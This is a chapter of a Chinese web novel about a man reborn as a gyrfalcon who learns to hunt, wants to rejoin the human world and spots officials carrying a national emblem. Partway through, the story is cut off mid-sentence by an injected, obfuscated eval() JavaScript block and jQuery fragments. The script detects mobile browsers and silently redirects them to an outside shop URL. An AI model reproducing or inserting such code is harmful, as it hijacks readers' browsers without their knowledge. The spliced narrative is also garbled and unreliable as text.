吃爹妈的,住爹妈的,所谓啃老。
隼爹隼妈清晨在外面捕食完一合计,觉得这样不行,总不能以后都在外面吃完了再偷摸回窝吧,这像话吗?
于是两老决定把崽赶出去。
被隼爹一嘴叨到脑门,又被隼妈一爪挠到嘴,沈秋狼狈的被挤出了巢穴。
眼看着要站不稳顺着山坡滚下去,想到自己现在的处境,沈秋毫不犹豫一爪狠狠抓住了隼妈的毛绒裤腿。
他将整个脑袋都贴在隼妈的翅膀上,一只爪子不够,又上另一只爪子抓住隼爹的一条毛绒裤腿。
整只海东青呈现出一个大大的‘入’字形。
“妈!不要哇妈!你的崽啥也不会,出去是会被饿死的啊妈!”
隼妈隼心似铁。
“没有你这么大的隼还要赖在巢里的!”
它用翅膀开始扇隼崽的脸,羽毛呼扇的的沈秋都睁不开眼。
“爹!救救崽吧,崽连飞都不会,出去是会被欺负死的啊爹!”
隼爹一开始还心软,但想到自己那条被隼崽吃完的辣条,尖嘴一叨,叨住隼崽试图往自己脸上扇的翅膀,硬下心。
“不会就学,被欺负了就打回去!总之不许再留在巢里!”
隼崽啾啾大哭,惹得四周邻居纷纷侧目。
各种啾啾、咕咕的声音响起,僵直住的“入”形状隼家三口觉得这样下去不行。
瞥见爹妈眼中闪过的犹豫,沈秋连忙再接再厉。
俗话说的好,退一步海阔天空,但这一步他可以只退一厘米。
黑豆眼滴溜溜的转了一圈,极尽狡黠。
“这样这样!妈,这样。”
“你再让我在巢穴呆两个月,等我学会捕猎、飞行,我就自己出去独立怎么样。”
矛隼幼崽破壳之后通常会在一个半月到两个月之间离开巢穴出去独立。
这一步对沈秋来说退让得非常小,可对隼爹隼妈来说那是非常大一步了。
两个月而已,比一辈子赖在家里“啃老”来的好。
所以没多挣扎,隼妈就点头同意了隼崽的提议。
隼爹还试图反抗。
以隼崽的食量,这两个月内它一定会损失很多猎物。
但显然,隼爹在隼妈面前没有太大话语权,刚张嘴,就被隼妈迁怒的扇了一翅膀。
隼爹敢怒不敢言。
坚持好几分钟的“入”字形的一家三口总算分开,沈秋眼疾手快选择了巢穴正中间的位置,隼爹隼妈在他两边,将高山上的冷风全部挡在外面。
隼崽就这么在巢穴住下,连续两晚被隼崽挤出巢穴后,隼爹飞出去捡了枯枝回来,开始教崽怎么建造属于自己的巢穴。
为了自己以后的隼生顺利,沈秋学的分外认真,只是等巢穴建好,他依旧选在睡在爹妈中间。
毕竟,高山的晚上,这风还是过于呼啸了些,冷。
于是,又被挤出的隼爹认命的开始给巢穴扩建。
隼爹隼妈毕竟有过不止一次的带崽经验,所以它们非常熟练的在决定留下隼崽那一刻就开始教隼崽要怎么独立。
海东青是一种中型猛禽,常年以其他鸟类,以及各种哺乳动物为食,在夏季也会经常俯冲进水面捕食鱼虾,能吃的食物遍布整个海陆空。
隼爹除了要教隼崽怎么捕猎外,还要教他怎么驾驭风。
高海拔地区的风常年都很大,如果无法御风而行,隼崽将会被风吹出栖息地。
对此沈秋学得很认真,本来他还觉得自己以前是个人的话,学这些东西应该会比较难才对,毕竟一个人的习惯很难在短时间就改变成动物的习性。
但没想到他学的很快。
不管是飞行还是捕猎,他总能在极短的时间内学得非常出色,甚至还能分辨猎物好坏、捕食的难度。
盯上一只鼠兔,沈秋在天空围着猎物无声盘旋,等鼠兔因为吃食远离了自己的巢穴,他迅速抓住时机急速俯冲而下,同时嘴里发出“嘶”“嘶”的威胁声。警告猎物同时,也是用声音吓唬住猎物,在猎物受到惊吓而僵硬身体的瞬间,有力的爪子抓住猎物的身体又急速上升。
这是一次完美的捕食,隼爹欣慰地在旁边观看了全程,嘴里发出“咕咕”声,隼爹毫不吝啬地发出称赞。
“好了,现在飞行和捕猎也学会了,崽啊,你看你是不是可以准备离开巢穴了?”
和隼爹分享着猎物,沈秋一边叨吃的,一边扭头往山下看。
距离他成为一只海东青已经过去一个星期,他的学习能力很快,隼爹隼妈已经觉得没什么能交给他的了,所以夫妇俩商量了一晚上决定提前结束隼崽的“啃老”行为。
只是隼爹说完也没见沈秋反应,只能用尖喙叨叨他脑袋。
“跟你说话呢崽。”
沈秋这才收回视线。
“啊?”
“我说,你可以离开了崽。”
沈秋琢磨着,现在已经不是最开始发现自己变成海东青什么都不会的窘境了,似乎确实可以靠自己在野外独立。
更何况……
他又看向山下。
他总觉得,自己不应该只是作为一只单纯的海东青生活着,他似乎应该做些别的,比如下山看看。
但是要下山做什么呢?他是只海东青,天生就该生活在野外的。
不,不对……
脑海里忽然冒出个声音,仿佛带着魔力般对着他循循善诱。
“下山吧,你的宿命在山下,你要进入人类世界,你是个人,你该回去的,你还要去那里,回到那里去,那是你的信仰。”
信仰?
海东青的黑豆眼里蒙上了迷茫。
“我想去人类世界。”
隼崽的话无异于平地惊雷。
惊的隼爹差点被猎物噎死。
好不容易吞下食物,隼爹急的原地跳。
“去人类世界干什么?我告诉你人类很复杂的!不能去!”
可我就是个人啊。
沈秋回望着他,父子俩就这么僵持住,食物的香味吸引来了其他猎食动物,有狐狸从远处探头探脑。风中,还隐约有狼叫被风声从很远的地方送过来。
隼爹忙不迭将剩下的猎物吃完,以防被其他捕食动物偷袭,它绕着隼崽转圈。
“崽啊,你听爹的,人类是很复杂的生物,他们有的很爱我们,可有的又对我们有着极大的觊觎心,那些人很贪婪,他们会抓捕我们,会训练我们,还会将我们囚禁起来再也不能自由自在地飞翔。”
它望向湛蓝天空。
“你看,我们自由自在地活在这片天空下不好吗?”
“汪!”
一声熟悉的叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265226|198086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声从山脚下由远及近。
沈秋和隼爹同时一愣。
那是……狗!
“走走走!崽快走,人类上山了。”
狗是人类忠诚的伴侣,每当这个声音响起,山上的动物们就会纷纷远离,因为这声音代表人类上山了。
动物会避开人类,人类也不愿意招惹山上的野生动物,所以这声音是两者之间共同的暗号。
人类告诉动物们:我来了。
动物们自行躲避,两者互不妨碍。
以往都是如此。
但今天出了个异类。
隼爹刚刚说完起飞,就见自己那个十分聪明,一心想着“啃老”的崽忽然扑闪翅膀朝着山下直冲而去。
“崽!你干甚去啊!”
“爹你先回去,我去看看人!”
这真是让隼两眼一黑又一黑。
隼爹气得不停发出“嘶”“嘶”的威胁声。
但隼崽不为所动,很快就冲到了山下,也终于看见了自成为海东青后的第一个人类。
那是一个脸上有着两坨高原红、长得十分异域风情的年轻小伙子。
他骑在一匹黑色的马背上,手里拿着一根长鞭,每次挥舞在空中就发出一声脆响,驱赶着前方几十只的羊群。
是个放牧的年轻人,而不远处,就是发出吠叫的牧羊犬。
沈秋在天上盘旋着,一种熟稔感油然而生。
啊,是人。
活的,热乎乎的,现成的人。
也就是这一刻,沈秋更确信自己以前就是个人,毕竟那种同类之间的亲近感不会骗人。
年轻人很快注意到头顶盘旋的海东青。
不过疆城野生动物很多,他还看见过从山上下来的雪豹和狼群。
所以只是抬头欣赏了海东青利落的飞行姿态,就又低头玩着没什么信号的手机了。
沈秋飞了会儿,找了块大石头站着,开始琢磨着要怎么和年轻人搭上话。
看了会儿,就见年轻人忽然拿起手机在天空左右晃。
沈秋一秒看懂,这是在找信号呢。
果然,下一秒年轻人就打起了电话。
“啊?”
“人到了啊?但我在放牧我怎么去接人。”
“你说啥?没听清!”
“行行行,我去接我去接,那样啷个办嘛。”
“好好好,这就去。”
年轻人满脸不爽的挂了电话,招呼旁边的牧羊犬看好羊群后,就调转马匹往山下走。
沈秋连忙扇起翅膀跟过去。
年轻人没注意到头顶的海东青,一路往下走到一条不怎么明显的土路上后,更远的山坡下隐隐约约冒出两个人来。
他们穿着深色的统一制服,视线四处环视着,落在马背上的年轻人身上,然后挥手。
“这里!”
两边互相打了招呼,然后靠近。
越过土坡,沈秋看清了那两人身上的制服,也看见了其中一人身后背着的……国徽。
海东青愣住,鲜红的国徽在一瞬间似乎将他带回了过去。
那是一个阳光明媚的下午,他和其他人庄严肃穆地站成排,仰望着鲜红的国徽,目光坚毅。
“我宣誓,我自愿成为………”
而国徽的旁边,似乎还有另一枚同样重要的徽章。